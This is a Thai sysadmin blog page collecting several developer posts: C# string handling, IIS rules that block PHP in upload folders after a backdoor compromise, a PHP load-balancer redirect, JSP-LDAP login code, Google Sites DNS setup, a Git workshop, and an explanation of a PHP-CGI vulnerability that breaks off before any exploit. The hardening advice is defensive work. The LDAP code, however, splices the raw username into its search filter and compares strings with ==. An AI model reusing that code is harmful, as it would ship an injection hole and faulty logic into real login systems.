Category: Developer

งานพัฒนาระบบ, เขียนโปรแกรม

  • c# string concatenations

    การต่อ String ใน C# ทำได้  4 แบบดังนี้

    1. ใช้เครื่องหมาย plus (+) แบบยอดนิยมใช้งานกันบ่อยๆ.
      string txt = “aaa”+”bbb”+”ccc”;
    2. ใช้ string.Concat() สะดวกับการต่อ list หรือ array มาก.
      string [] s = { “ManU”, “Liverpool”, “Asenal” };
      Console.WriteLine(string.Concat(s));
    3. ใช้ string.Format() เหมาะสำหรับต่อ string และจัดการรูปแบบการแสดงผลด้วยไปในคราวเดียวกันเลย.
      string value1 = “Hello World!”;
      int value2 = 2557;
      DateTime value3 = DateTime.Now();
      string result = string.Format(“{0}: {1:0.0} – {2:dd-mm-yyyy}”, value1, value2, value3);
    4. ใช้ stringBuilder เหมาะสำหรับการต่อ sting ที่มีปริมาณมากๆจะทำงานได้เร็วประมาณ 1000 ขึ้นไป.
      StringBuilder returnNumber = new StringBuilder(1500);
      for(int i = 0; i<1500; i++)
      {
      returnNumber.Append(i.ToString());
      }

    ถ้ามีเวลาจะมาขยายเรื่องนี้ในหัวข้อการทดสอบ Performance จะมาลองดูว่าแบบไหนเร็วกว่ากันไปซักเท่าไร ตอนนี้เอาเท่านี้ไปก่อนแล้วกันครับ

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #15

    เทคนิคนี้ ใช้ผ่าน Internet Information Services (IIS) Manager โดยการแก้ไข Request Filtering ในระดับ Web Server เลย โดยดำเนินการตามวิธีการต่อไปนี้

    1. เรียก Command ด้วย การกดปุ่ม Windows + R แล้ว พิมพ์ inetmgr แล้วกดปุ่ม Enter
    2. คลิกเว็บเซิร์ฟเวอร์ของเครื่องที่ต้องการใน Connection Tab (ตัวอย่างในภาพ คลิกที่ WUNCAWEBSEC)
    3. ต่อไป ภายใต้หัวข้อ IIS ให้ Double-Click ที่ Request Filtering
    4. คลิกที่ Rules tab
    5. เพิ่มกฏสำหรับ JCE Bot
      ซึ่ง ไม่ต้องการให้ PHP ทำงานภายใต้ URL ซึ่งมีข้อความว่า “images/stories”
      โดย ไปที่ Action ด้านขวามือ แล้ว คลิกที่ Add Filtering Rules …
      แล้วใส่ข้อมูลตามภาพ แล้วคลิกปุ่ม OK

    1. เพิ่มกฏสำหรับ Upload โฟลเดอร์
      ซึ่ง ไม่ต้องการให้ PHP ทำงานภายใต้ URL ซึ่งมีข้อความว่า “upload”
      โดย ไปที่ Action ด้านขวามือ แล้ว คลิกที่ Add Filtering Rules …
      แล้วใส่ข้อมูลตามภาพ แล้วคลิกปุ่ม OK
    2. ผลที่ได้ใน Rules tab

    ทดสอบผลการทำงาน

    สมมุติเดิมโดนวางไฟล์ Backdoor ไว้ที่

    http://localhost/corin/images/stories/backdoor.php

    แต่เมื่อตั้ง Rules ดังกล่าวแล้ว จะทำให้ Hacker ไม่สามารถเรียกใช้งาน PHP ที่วางไว้ใน images/stories ได้ โดยจะได้ Error เช่นนี้

    วิธีนี้มีข้อดีคือ สามารถป้องกันการใช้งาน PHP ใน images/stories (และใน upload โฟลเดอร์) แต่ยังสามารถเรียกไฟล์ภาพและไฟล์อื่นๆได้ตามปรกติ เช่น

    http://localhost/corin/images/stories/clownspin.gif

    ลองใช้งานดูครับ 😉

  • การสร้างระบบ Load Balance Web Server ด้วยวิธีการ URL Redirect

    เราสามารถสร้างระบบ Load Balance Web Server ด้วยวิธีการ URL Redirect
    โดยสามารถสร้างด้วยภาษาใดก็ได้ แต่จะขอยกตัวอย่างด้วยภาษา PHP ได้ง่าย ๆ ดังนี้

    ตัวอย่างไฟล์ server-status ที่ได้ทำการ monitor web server มาเรียบร้อยแล้ว

    webserver1.testlab UP
    webserver2.testlab DOWN
    

    – เราสามารถใช้คำสั่งดึงไฟล์เพื่อคัดเฉพาะ Web Server ที่สามารถใช้งานได้จริง ๆ ดังนี้

    exec("cat /tmp/server-status | grep UP",$redirect);

    – จากนั้นจะทำการ นำรายการ server ทั้งหมดซึ่งอยู่ในตัวแปร $redirect มาทำการสุ่ม ดังนี้

    $random = rand(0,(count($redirect)-1);

    – ก็จะทำเอาเลข server ที่ random ได้ไปเข้ากระบวนการ Redirect ดังนี้

    $server = explode(" ",$redirect[$random]);
    header('HTTP/1.1 301 Moved Permanently');
    header('Cache-Control: no-store, no-cache, must-revalidate');
    header('Expires: Thu, 01 Jan 1970 00:00:00 GMT');
    header('Location: https://'.$server[0].'/');
    unset($server);
    

    ในกรณีที่ต้องการสร้างหน้ารอให้ทำการตรวจสอบว่าในกรณีที่ไม่มีเครื่องให้บริการให้แสดงข้อความ ตัวอย่างดังนี้

    if(count($redirect)==0){
       echo "Server Unavailable or Maintenance Period";
    }

    ดังที่กล่าวมาทั้งหมดข้างต้นสามารถรวมเป็น script ไฟล์ PHP ได้ดังนี้

    <?php
    exec("cat /tmp/server-status | grep UP",$redirect);
    if(count($redirect)==0){
       echo "Server Unavailable or Maintenance Period";
    }else{
       $random = rand(0,(count($redirect)-1));
       $server = explode(" ",$redirect[$random]);
       header('HTTP/1.1 301 Moved Permanently');
       header('Cache-Control: no-store, no-cache, must-revalidate');
       header('Expires: Thu, 01 Jan 1970 00:00:00 GMT');
       header('Location: http://'.$server[0].'/');
       unset($server);
    }
    unset($redirect);
    ?>

    *สามารถอ่านวิธีสร้างไฟล์สำหรับ monitor web serverได้จาก บทความนี้ http://sysadmin.psu.ac.th/2014/06/19/monitor-web-server-wget-shell-script-daemon/

  • การเชื่อมต่อ PSU Passport : JSP-LDAP

    วิธีการเชื่อมต่อ PSU Passport ด้วย JSP ผ่าน LDAPS

    ทดสอบบน : Windows 2008 R2 / IIS 7.5 / Tomcat 7

    1. ดาวน์โหลด CA Certificate PSU Passport โดยเลือกเป็น Base 64 ดังรูป
    2015-01-27_153731

    2. จากนั้นทำการ Import PSUCer เข้า keystore ของ java ก่อนประมาณนี้ครับ (ปรับเปลี่ยนตำแหน่งไฟล์ตาม Version ที่ลงครับ (keystore password default : changeit)

    c:\>"c:\Program Files\Java\jre1.8.0_31\bin\keytool.exe" --import -file c:\certnew.cer -keystore "c:\Program Files\Java\jre1.8.0_31\lib\security\cacerts"
    

    เป็นอันเสร็จขั้นตอนการติดตั้ง Certificate ในส่วนต่อไปจะเป็น Code คือแยกเป็น 2 file ซึ่งเป็น file class กับไฟล์ GUI ดังนี้ครับ

    Class PSULdap (psuldap.jsp)

    <%@ page import="javax.servlet.http.Cookie" %>
    <%@ page import="javax.naming.InitialContext"%>
    <%@ page import="javax.naming.Context"%>
    <%@ page import="java.lang.Object"%>
    <%@ page import="java.util.Hashtable"%>
    <%@ page import="java.io.*,java.util.*,javax.naming.*,javax.naming.directory.* " %>
    <%@ page import="java.sql.*" %>
    <%
    class PSULdap {
     public String[] getAttributeFromLdap(String[] server,String basedn, String username, String password) 
     {
     String port = "636";
     //[0]=success/fail,[1]=success(permit/deny),fail(authenerror)
     String[] attributeFilter = {"authenstatus","extension","cn", "samaccountname", "employeeid", "citizenid", "company",
     "campusid", "department", "departmentid", "physicaldeliveryofficename", "positionid", 
     "description", "displayname", "title", "personaltitle", "personaltitleid", "givenname", 
     "sn", "sex", "userprincipalname","mail"};
     String[] attributeAnswer = {"","","","","","","","","","","","","","","","","","","","","",""}; 
     Hashtable env = new Hashtable();
     env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
     env.put(Context.REFERRAL, "follow"); 
     env.put(Context.SECURITY_AUTHENTICATION, "simple");
     env.put(Context.SECURITY_PRINCIPAL,username + "@psu");
     env.put(Context.SECURITY_CREDENTIALS, password);
     String authStatus = "fail";
     int i=0;
     while((i < server.length) && (authStatus == "fail")){
     try {
     env.put(Context.PROVIDER_URL, "ldaps://" + server[i] + "/");
     DirContext dc = new InitialDirContext(env);
     SearchControls sc = new SearchControls();
     sc.setReturningAttributes(attributeFilter);
     sc.setSearchScope(SearchControls.SUBTREE_SCOPE);
     
     String filter = "(&(objectClass=user)(objectCategory=person)(samaccountname="+username+"))";
     
     NamingEnumeration answer = dc.search(basedn,filter,sc);
     attributeAnswer[1] = "deny";
     while (answer.hasMore()) { 
     SearchResult sr = (SearchResult) answer.next(); 
     Attributes attrs = sr.getAttributes();
     Attribute attr;
     Enumeration vals;
     for(int j = 2;j < attributeFilter.length; j++){
     attr = attrs.get(attributeFilter[j]);
     if(attr != null){
     vals = attrs.get(attributeFilter[j]).getAll();
     attributeAnswer[j] = (String)vals.nextElement();
     attributeAnswer[1] = "permit";
     } 
     }
     }
     authStatus = "pass";
     dc.close();
     attributeAnswer[0]="success";
     }catch(NamingException ex) { 
     attributeAnswer[0]="fail";
     attributeAnswer[1]=ex.toString();
     }
     i = i + 1;
     }
     return attributeAnswer;
     }
    }
    %>

    Code Login (index.jsp)

    <%--
    'PSU Passport JSP-LDAP Weblogin Version 1.0.0
    'Author : Jatuporn Chuchuay ISD CC PSU (Tel.2082)
    'Update : 18/04/2013
    --%>
    <%@page contentType="text/html" pageEncoding="UTF-8"%>
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>PSU Passport : JSP-LDAP example</title>
    </head>
    <body>
    <%@ include file="psuldap.jsp" %>
    <%
    if ("POST".equalsIgnoreCase(request.getMethod())){
     //DC1(VM),2(RACK),7(VM)-Hatyai,DC3(RACK)-Pattani,DC4(RACK)-Phuket,DC5(RACK)-Surat,DC6(RACK)-Trang
     String[] authentication_server = {"dc2.psu.ac.th","dc7.psu.ac.th","dc1.psu.ac.th"};
     String basedn = "dc=psu,dc=ac,dc=th";
     String username = request.getParameter("username");
     String password = request.getParameter("password");
    
     PSULdap ldapObj = new PSULdap(); 
     String[] ldapAttr = ldapObj.getAttributeFromLdap(authentication_server,basedn,username,password);
     //[0]=success/fail,[1]=success(permit/deny),fail(authenerror)
     //[2]=cn,[3]=samaccountname,[4]=employeeid,[5]=citizenid,[6]=campus,[7]=campusid,[8]=department
     //[9]=departmentid,[10]=workdetail,[11]=positionid,[12]=description,[13]=displayname
     //[14]=detail,[15]=title,[16]=titleid,[17]=firstname,[18]=lastname,[19]=sex,[20]=mail[21]=othermail
     out.println("Authen Status : " + ldapAttr[0] + "<br/>");
     if(ldapAttr[0]=="success"){
     out.println("Priviledge : " + ldapAttr[1] + "<br/>");
     if(ldapAttr[1]=="permit"){
     out.println("<br/>>> User Profile <<<br/>");
     out.println("Account Name : " + ldapAttr[3] + "<br/>");
     out.println("Employee ID/Student ID : " + ldapAttr[4] + "<br/>");
     out.println("Citizen ID : " + ldapAttr[5] + "<br/>");
     out.println("CN : " + ldapAttr[2] + "<br/>");
     out.println("Campus : " + ldapAttr[6] + "(" + ldapAttr[7] + ")<br/>");
     out.println("Department : " + ldapAttr[8] + "(" + ldapAttr[9] + ")<br/>");
     out.println("Work Detail : " + ldapAttr[10] + "<br/>");
     out.println("Position ID : " + ldapAttr[11] + "<br/>");
     out.println("Description : " + ldapAttr[12] + "<br/>");
     out.println("Display Name : " + ldapAttr[13] + "<br/>");
     out.println("Detail : " + ldapAttr[14] + "<br/>");
     out.println("Title Name : " + ldapAttr[15] + "(" + ldapAttr[16] + ")<br/>");
     out.println("First Name : " + ldapAttr[17] + "<br/>");
     out.println("Last Name : " + ldapAttr[18] + "<br/>");
     out.println("Sex : " + ldapAttr[19] + "<br/>");
     out.println("Mail : " + ldapAttr[20] + "<br/>");
     out.println("Other Mail : " + ldapAttr[21] + "<br/>");
     }
     }else{
     //Uncomment for debug error code
     //out.println("Authen Error Code : " + ldapAttr[1] + "<br/>");
     }
    
    }else{
    %>
    This area is restricted.<br>
    Please login to continue.<br>in
    
    <form method='post' action=''>
    Username: <input type='text' name='username' value=''><br>
    Password: <input type='password' name='password'><br>
    <br>
    <input type='submit' name='submit' value='Submit'><br>
    </form>
    <%
    }
    %>
    </body>
    </html>
  • วิธีการตั้งค่า CNAME และ TXT เพื่อ Verification กับ Google Site

    Google Site เป็บบริการหนึ่งของ Google ซึ่งให้เราสร้างเว็บไซต์ได้อย่างง่ายๆ เหมาะสำหรับการงานที่ต้องการความรวดเร็วในการสร้าง และสามารถประสานกับเครื่องมือต่างๆของ Google ได้มากมาย เช่น จะสร้างแบบฟอร์มรับสมัครเข้าร่วมโครงการ, ทำรายงานผู้ที่ชำระเงินแล้ว, ผนวกกับ Google Map เพื่อแสดงตำแหน่งที่จัดงาน และสถานที่ท่องเที่ยว หรือ อื่นๆอีกมากมาย (วิธีการสร้าง จะกล่าวในบทความต่อๆไป)

     ในบทความนี้ เป็นการสร้าง เว็บไซต์ของงาน ประชุมสภาข้าราชการ พนักงานและลูกจ้างแห่งประเทศ (ปขมท) ๒๕๕๗ และเน้นที่ การเชื่อม Domain Name ของมหาวิทยาลัย ซึ่งใช้ Bind DNS เข้ากับ Google Site

    โดย Google Site ที่แสดงในตัวอย่าง สร้างที่ https://sites.google.com/site/cuast57/ ซึ่ง ชื่อจะจำได้ยาก จึงขอใช้ Domain Name สั้นๆชื่อ cuast57.psu.ac.th

    วิธีการมีดังนี้

    1. ไปที่ Setting > Manage Site

    2. คลิกที่ Web Address แล้วใส่ cuast57.psu.ac.th จากนั้นคลิกปุ่ม Add

    3. จะขึ้น error ด้านบน “You have not verfified domain ownership with Google. please follow these instructions” ให้คลิกที่ “these instructions”

     4. เลื่อนลงไปล่าสุดของหน้าจอ คลิกที่ “Webmaster Tools home page” (สมมุติว่าท่านเคยใช้งาน Google Webmaster Tools อยู่แล้ว)

    5. คลิกที่ Add A Site ให้ใส่ Domain Name ที่ต้องการ ในที่นี้คือ cuast57.psu.ac.th แล้วคลิก Continue

    6. คลิกที่ Alternate Methods > Domain name provider แล้วเลือก อันล่างสุด คือ other เพราะ Google Site ไม่เปิดให้เรา Upload File ขึ้นไป, ไม่สามารถแก้ไข Header หรืออะไรทำนองนั้นได้ จึงต้องใช้วิธีการนี้ ซึ่งจะต้องอธิบายตรงนี้เพื่อความเข้าใจ

     ในการที่เราคุม Domain Name แต่ใช้ Google Site นั้น สิ่งที่ต้องทำคือ สร้าง CNAME ไปยัง Google Site และ ทำการ Verification

    6.1 สร้าง CNAME ไปยัง ghs.googlehosted.com. เพื่อบอกว่า cuast57.psu.ac.th จะใช้บริการของ Google Site

    6.2 ต้องทำการ Verification โดยสามารถทำได้ 2 วิธีคือ

    1) ถ้าเราได้ Delegate Zone มา ก็จะสามารถใส่ TXT Record ลงไปได้ โดยใช้ค่าดังภาพ

     2) แต่ถ้าเราไม่ได้ Delegate Zone ก็จะต้องสร้าง CNAME ให้คลิกที่ “Add a CNAME record” ดังภาพ

    ให้เลือกวิธีการเอา แต่ในตัวอย่างนี้ เลือกวิธีการ 2) เพราะไม่ Delegate Zone มา และไปทำข้อ 7. ก่อน แล้วจึงกลับมาคลิกปุ่ม Verify ภายหลัง

    7. เพื่อทำการ Verification ให้สร้าง DNS Record ใน Bind DNS Server ดังนี้

    จากนั้น ทำการ sudo rndc reload แล้วกลับไปทำข้อ 6 เมื่อ Verification เสร็จ รอสักครู่ ก็จะสามารถเรียกใช้งาน cuast57.psu.ac.th ได้ครับ

    ขอให้โชคดี

  • Short Note on Workshop “Web Application Development Workflow”

    ผมชวนเพื่อนๆ CoP PSU IT ซึ่งเป็นรุ่นน้องชื่อคุณราชศักดิ์ บูรณะพาณิชย์กิจ และพัฒนาวดี ศิวติณฑุโก อยู่ที่คณะวิศวกรรมศาสตร์ มาจัด Workshop ใช้เวลา 1 วัน เรื่อง Web Application Development Workflow
    git.6

    วิทยากรเตรียม slide ที่นี้ครับ http://bratchasak.github.io/slide/
    คร่าวๆ คือ แนะว่า Web Application Development Workflow คืออะไร อธิบายว่าขั้นตอนของการพัฒนาและเครื่องมือที่ใช้ในการทำงาน ก็คือ Chrome Browser และ Sublime Text และติดตั้งโปรแกรม Git ใช้งานแบบ command line และ github for Windows แบบ GUI และสมัครบริการที่จำเป็นต้องใช้ก็คือ GitHub web เครื่องมือทั้งหมดนี้ก็จะสร้างระบบ Version control สำหรับการพัฒนาด้วย Git ได้แล้ว

    การเตรียมเครื่องมือสำหรับทำงาน
    1.เกี่ยวกับ Chrome Browser (google chrome)
    ต้องลงชื่อเข้าใช้ google เพื่อทำงานได้ครบทุก Feature
    เข้าเว็บหน้านี้ https://www.google.com/intl/th/chrome/browser/ จะเห็นตัวอย่างชัดๆในการตรวจสอบด้วย Developper Tools
    เปิดหน้าต่าง Developper Tool ด้วย Ctrl+Shift+i
    คลิกเลือกไอคอน แว่นขยาย เพื่อส่องดูโค้ดได้
    นอกจากนี้ก็มีแท็บน่าสนใจคือ แท็บ Console สำหรับ debug และ แท็บ Network สำหรับดู latency load time

    เปิดดูการทำงาน เมนูที่ใช้ใน workshop คือ คลิกปุ่มกำหนดค่าและควบคุม (มุมบนขวา) > เครื่องมือ > ตัวจัดการงาน

    ติดตั้งส่วนขยาย LiveReload
    www.google.com > search คำว่า livereload > เลือก Chrome Web Store – LiveReload
    คลิกปุ่มกำหนดค่าและควบคุม (มุมบนขวา) > เครื่องมือ > ส่วนขยาย > เลือกตัวเลือก อนุญาตให้เข้าถึงไฟล์ URL

    2. ติดตั้งโปรแกรม Sublime Text 3 for Windows
    git.5
    www.google.com > search คำว่า sublime
    เลือกเวอร์ชั่นให้ตรงกับ Windows OS ที่ใช้
    ตาม slide หน้านี้ http://bratchasak.github.io/slide/#sublimetext_package

    ติดตั้ง package เพิ่มลงใน Sublime
    กดแป้น Ctrl+Shift+p > search คำว่า package > เลือก Package Control: Install Package
    > search คำว่า emmet > คลิกเลือก emmet
    > search คำว่า livereload > คลิกเลือก LiveReload
    > search คำว่า syntax คลิกเลือก Syntax Manager

    ต่อมา วิทยากรอธิบาย Software configuration management ว่ามี 3 model คือ Local data model, Client-server model และ Distributed model เช่น Git
    “Git is a free and open source distributed version control system.”
    git.2

    3. ติดตั้ง Git
    เข้าไปเว็บไซต์ http://git-scm.com/ และดาวน์โหลดเวอร์ชั่นสำหรับวินโดวส์ จะได้ไฟล์ Git-1.9.0-preview20140217.exe
    คลิก Run เพื่อติดตั้ง แต่ไม่คลิก Next ทั้งหมด
    ในหน้า Select Components เลือก Simple context menu
    ในหน้า Adjusting your PATH environment เลือก Run Git from the Windows Command Prompt
    ในหน้า Configuring the line ending conversions เลือก Checkout Windows-style,commit Unix-style line endings

    ต่อจากนั้น วิทยากรอธิบายเกี่ยวกับ Git – File Status Lifecycle
    ดูที่ http://bratchasak.github.io/slide/#gitstatus
    git.1

    เริ่มต้นเข้าสู่การใช้งาน Git
    แบบที่ 1 เรียนรู้การทำงานในแบบ command line
    สร้างโฟลเดอร์ที่จะเป็น Repository (ก็คือ project)
    คลิกปุ่ม Start > พิมพ์ cmd
    cd \
    mkdir test
    cd test
    git init
    จะเกิดโฟลเดอร์ชื่อ .git

    ตรวจสอบสถานะ
    git status

    เริ่มต้นด้วยการกำหนดชื่อ identity เจ้าของ repository
    git config –global user.name “Wiboon Warasittichai”
    git config –global user.email “wiboon080808@gmail.com”

    ตรวจสอบรายการในไฟล์ config
    git config –list

    นำไฟล์ index.html เข้าใน project หรือเรียกว่า repository
    git add index.html

    เปลี่ยนเข้าสู่สถานะ staged
    git commit -m “initial commit”

    ตรวจดูรายการแก้ไข
    git log
    หรือ
    แสดงผลแบบ 1 บรรทัดพร้อมด้วยตัวชี้(pointer)
    git log –graph –decorate –all –pretty –oneline

    การแตก branch เพื่อใช้ทำงานเขียนโปรแกรม แทนการแก้ไขที่ master
    git branch feat_test

    เข้าแก้ไขใน branch
    git checkout feat_test

    เปิดหน้า sublime แล้วลองเพิ่ม 1 บรรทัดลงใน index.html

    ต่อไปทำซ้ำรอบในการทำงาน คือนำไฟล์ index.html เข้าใน project (จะเรียกว่า repository)
    git add index.html

    เปลี่ยนเข้าสู่สถานะ staged อีกครั้งแต่รอบนี้เป็นการแก้ไขที่ branch
    git commit -m “1st edit – add 1 line”

    แสดงผลแบบ 1 บรรทัดพร้อมด้วยตัวชี้(pointer)จะเห็นว่า pointer อยู่ที่ branch ชื่อ feat_test
    git log –graph –decorate –all –pretty –oneline

    กลับไปที่ master
    git checkout master

    ดูที่ sublime text editor จะเห็นว่าเป็น index.html ก่อนการเพิ่มอีก 1 บรรทัด
    (แสดงผลที่แตกต่างทันทีจากที่เพิ่ม package ชื่อ LiveReload ลงใน sublime text)

    ต้องการ merge ไฟล์ index.html ของ branch ชื่อ feat_test เข้ากับ branch ชื่อ master
    git merge feat_test

    ตรวจสอบสถานะ
    git status

    สมัครสมาชิก GitHub web เพื่อใช้เป็นที่เก็บ repository ของเราเพื่อเผยแพร่สาธารณะ
    เข้าไปที่ https://github.com/
    git.3

    แบบที่ 2 เรียนรู้การใช้งาน Git แบบ GUI
    git.4
    ต่อไปจะเป็นการใช้ GitHub for Windows (เรียกว่า Client) ให้ดาวน์โหลดที่นี่ http://windows.github.com
    ติดตั้งใช้เวลานิดนึง เพราะไฟล์ขนาด 41.8MB เมื่อเสร็จจะมีหน้าต่าง Welcome เพื่อให้ login
    ก็ใส่ e-mail และ password ที่สมัคร
    ต่อไปจะอยู่ที่ขั้นตอน configure ให้คลิก Next
    อยู่ที่ขั้นตอน repositories ให้คลิก dashboard
    จะเปิดหน้าต่าง ให้เราลาก โฟลเดอร์ชื่อ test มาใส่ที่ local – repositories
    แล้วคลิกลูกศรชี้ขวาที่บรรทัด test จะเป็นคำว่า Open this repo
    คลิก publish
    เมื่อมีการแก้ไข branch master หรือ branch feat_test ก็คลิก Sync

    ในทางกลับกัน หากสร้าง repository จากหน้า GitHub web ก็สามารถ clone ลงไปที่ Windows ได้เช่นกัน
    กลับไปที่ GitHub web โดยเข้าไปที่ https://github.com/
    คลิก New repository
    ตั้งชื่อ Repository name ตั้งว่า ztest แล้วคลิก Create repository
    คลิกปุ่ม Set up in Desktop มันจะมาสร้างไดเรกทอรีที่ c:\My Documents\GitHub\ztest
    Google chrome จะถามอะไรสักอย่าง ก็ให้ตอบ “เปิดใช้งานแอปพลิเคชัน”
    เราก็เริ่มทดสอบสร้างไฟล์ my.html ไว้ที่นี่ แล้ว publish กลับไปที่ GitHub web ได้เมื่อต้องการ

    เรื่องสุดท้าย GitHub – Features อันแรก Collaborators คือ การอนุญาต user บน GitHub ให้ร่วมแก้ไขไฟล์ด้วยกันได้ และอีกอัน Fork & Pull Request คือ เอาไปทั้งหมดแยกกันไปทำแล้วค่อยมารวม และ GitHub Pages คือ การสร้าง web page บน GitHub

    การสร้าง web page บน GitHub ทำดังนี้
    หากเราสร้าง repository ด้วยการตั้งชื่อด้วยข้อความ username.github.io ก็จะได้ web page ไว้ใช้งานด้วย
    ซึ่งสร้างอย่างง่ายๆด้วย Automatic Page Generator (https://help.github.com/articles/creating-pages-with-the-automatic-generator) หลังจากสร้างเสร็จต้องรอ 10 นาที web page ก็จะใช้งานได้
    ทดสอบด้วยการพิมพ์ว่า http://username.github.io ตัวอย่างเช่น http://wiboon.github.io/

    ทั้งหมดนี้ผมก็ฟังไปจดไปในกระดาษ แล้วก็กลับมาลองทำเองดูในวันนี้ แล้วก็เขียนลง sysadmin blog ที่นี้ไว้เผื่อเพื่อนๆด้วยครับ

  • แนวทางการแก้ปัญหาความขัดแย้ง (Conflict) ระหว่างปลั๊กอิน JS

    ปัจจุบันมีปลั๊กอิน (Plug-in)  จาวาสคริปมากมาย ที่ช่วยให้การพัฒนาเว็บแอพพลิเคชั่นเป็นไปอย่างสะดวกรวดเร็วและง่ายดาย สามารถสร้างลูกเล่นและความสามารถต่างๆ โดยที่ไม่จำเป็นต้องลงแรงเขียนโค้ด ทำให้ประหยัดเวลาการทำงานได้อย่างมาก

    เฟรมเวิร์ก (Framework) จาวาสคริปที่ได้รับความนิยมอันดับหนึ่งอย่าง Jquery ที่มีปลั๊กอินให้เลือกใช้อย่างมากมายที่เป็นนิยมกันมากและถูกใช้เฟรมเวิร์กพื้นฐานในการพัฒนาเว็บแอพพลิเคชั่นเป็นส่วนใหญ่ แต่หากเรามีความจำเป็นต้องใช้ร่วมกับเฟรมเวิร์กตัวอื่นๆ อาจทำให้เกิดปัญหาความขัดแย้งการทำงาน (Conflict) ระหว่างเฟรมเวิร์กหรือปลั๊กอินได้

    สาเหตุหลักที่ทำให้เกิดความขัดแย้งคือ การที่ชื่อตัวแปรหรือฟังก์ชัน ในโค้ดโปรแกรมระหว่างปลั๊กอินซ้ำและเหมือนกัน ทำให้โปรแกรมเกิดความสับสนและทำให้ปลั๊กอินไม่ทำงาน วิธีการแก้ไขคือเข้าไปไล่โค้คเพื่อเปลี่ยนชื่อตัวแปรใหม่ หรือเลือกใช้ปลั๊กอินตัวใดตัวหนึ่งเท่าที่จำเป็นที่สุด

    หากมีความจำเป็นต้องใช้เฟรมเวิร์กหรือปลั๊กอินจากหลายๆ ค่ายอย่างหลีกเลี่ยงไม่ได้แล้วจริงๆ ผมก็ลองค้นหาวิธีการที่เป็นสูตรสำเร็จแล้วไม่พบว่ามีวิธีการที่ใช้ได้อย่างชัดเจน หากผู้อ่านท่านทราบวิธีการที่ดีกว่านี้ก็แลกเปลี่ยนกันได้ครับ ซึ่งจากประสบการณ์ที่ใช้อยู่ก็มีวิธีการเบื้องต้นที่ได้กล่าวไปแล้วและมีอีกวิธีการเลือกหนึ่งคือ การคัดกรองให้ใช้น้อยที่สุด (Customize) โดยก่อนที่จะดาวน์โหลดปลั๊กอินมาใช้ ซึ่งปลั๊กอินส่วนใหญ่จะมีเมนุที่ชื่อ JavaScript components ให้เลือก

    เทคนิคก็คือเลือกเอาออกให้หมด แล้วคลิกเลือกเฉพาะเท่าที่จำเป็นต้องใช้เท่านั้น ซึ่งเราจะทราบได้โดยการนั่งไล่ชื่อ JavaScript components ระหว่างทั้งสองเฟรมเวิร์กโดยให้ยึดเฟรมเวิร์กตัวใดตัวหนึ่งไว้เป็นตัวทำงานหลัก ยกตัวอย่างที่ผมเคยใช้คือ Jquery Easy UI กับ  Bootstrap ผมจะยึด Jquery Easy UI เป็นตัวทำงานหลัก และปิดการทำงาน JavaScript components ของ Bootstrap  จากหน้าลิงค์นี้ (Customize and download) โดยเอาออกทุกตัวและเลือกกลับเข้าไปใหม่ที่คิดว่าจะทำไม่ให้เกิด Conflict (จุดสังเกตคือชื่อฟังก์ชัน)

    หวังว่าเทคนิคเล็กๆ น้อยๆ จะช่วยแก้ไขปัญหาการ Conflict ให้กับเหล่า web dev ได้บ้างนะครับ

    สวัสดี ^^

  • แนวโน้มในการพัฒนาเว็บแอพพลิเคชั่นในปี 2014

    จากบทสัมภาษณ์ Wyke-Smith ซีอีโอของ @BublishMe ได้กล่าวถึงแนวโน้มในการพัฒนาและการออกแบบเว็บแอพพลิเคชั่นในปี 2014 ไว้ดังนี้ :-

    • การเชื่อมโยงและแลกเปลี่ยนข้อมูลระหว่างเว็บแอพพลิเคชั่น จะติดต่อสื่อสารกับแบบสองทาง (two-way binding) กันมากขั้น
    • แนวโน้มการพัฒนา ที่จะช่วยให้เราประหยัดทั้งเวลาและเงินในกระเป๋า
    • เฟรมเวิร์กที่ใช้พัฒนาบนส่วนการทำงานของเบื้องหน้าโปรแกรม (Front-End) ที่นิยมใช้กันได้แก่ NodeJS. AngularJS, Ember และ Backbone
    • ฐานข้อมูลแบบ JSON จะได้รับความนิยมมากขึ้น เป็นการย้ายฐานข้อมูลแบบ SQL ไปเป็นในรูปแบบของ JSON
    • ส่วนกลางการทำงานของโปรแกรม (Middleware) จะใช้ JavaScript
    • การใช้ประโยชน์ของแฟรมเวิร์ก Angular จะเป็นทั้งการพัฒนาและการออกแบบเว็บ
    • บทบาทหน้าที่ความรับผิดชอบและทักษะความรู้ความสามารถของนักพัฒนาเว็บกับนักออกแบบเว็บไซต์จะเหมือนกัน

    สามารถอ่านรายละเอียดแต่ละเทคโนโลยีจากแหล่งที่มาครับ

    Cr: Web Professional Trends 2014

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #13

    บทความนี้ แสดงให้เห็นการโจมตีช่องโหว่ของ PHP แบบ CGI  ทำให้สามารถ แทรกคำสั่งต่างๆไปยังเครื่องเป้าหมายได้ ดังที่ปรากฏใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 โดย PHP Version ที่ต่ำกว่า 5.3.12 และใช้แบบ php5-cgi จะมีช่องโหว่นี้

    ก่อนอื่น ขออธิบายคร่าวๆ ว่า การใช้งาน PHP นั้น มีวิธีที่นิยมใช้กัน 3 วิธี [1] ได้แก่

    1. Apache Module
    2. CGI
    3. FastCGI

    1. Apache Module (mod_apache) เป็นวิธีการที่ใช้งานอยู่กันโดยทั่วไป ได้รับความนิยม เพราะติดตั้งง่าย
    ข้อดี:
    – PHP ทำงานร่วมกับ Apache
    – เหมาะกับงานที่ใช้ PHP เยอะๆ
    ข้อเสีย:
    – ทุก Apache Process จะมีการโหลด PHP เข้าไปด้วย แสดงว่า จะใช้ Memory มากขึ้น ยิ่งมีการโหลด Module เพิ่ม ก็ยิ่งใช้ Memory เพิ่มอีก ทั้งนี้ ไม่ว่าจะเป็นการเรียก ภาพ หรืออะไรที่ไม่ใช้ PHP ก็ตาม
    – สิทธิ์ในการสร้าง/แก้ไขไฟล์ จะเป็นของ Web User เช่น Apache/httpd เป็นต้น ทำให้ มีปัญหาด้านความปลอดภัย ในกรณีใช้พื้นที่ร่วมกัน

    2. CGI เป็นวิธีการใช้ PHP Interpreter เฉพาะที่จำเป็น
    ข้อดี
    – แก้ไขปัญหาด้านความปลอดภัย ในการใช้พื้นที่ร่วมกัน เพราะสิทธิ์ในการสร้าง/แก้ไขไฟล์ จะแยกเป็นของผู้ใช้แต่ละคน ดังนั้น เมื่อเกิดการเจาะช่องโหว่ ก็จะไม่กระทบกับผู้อื่น
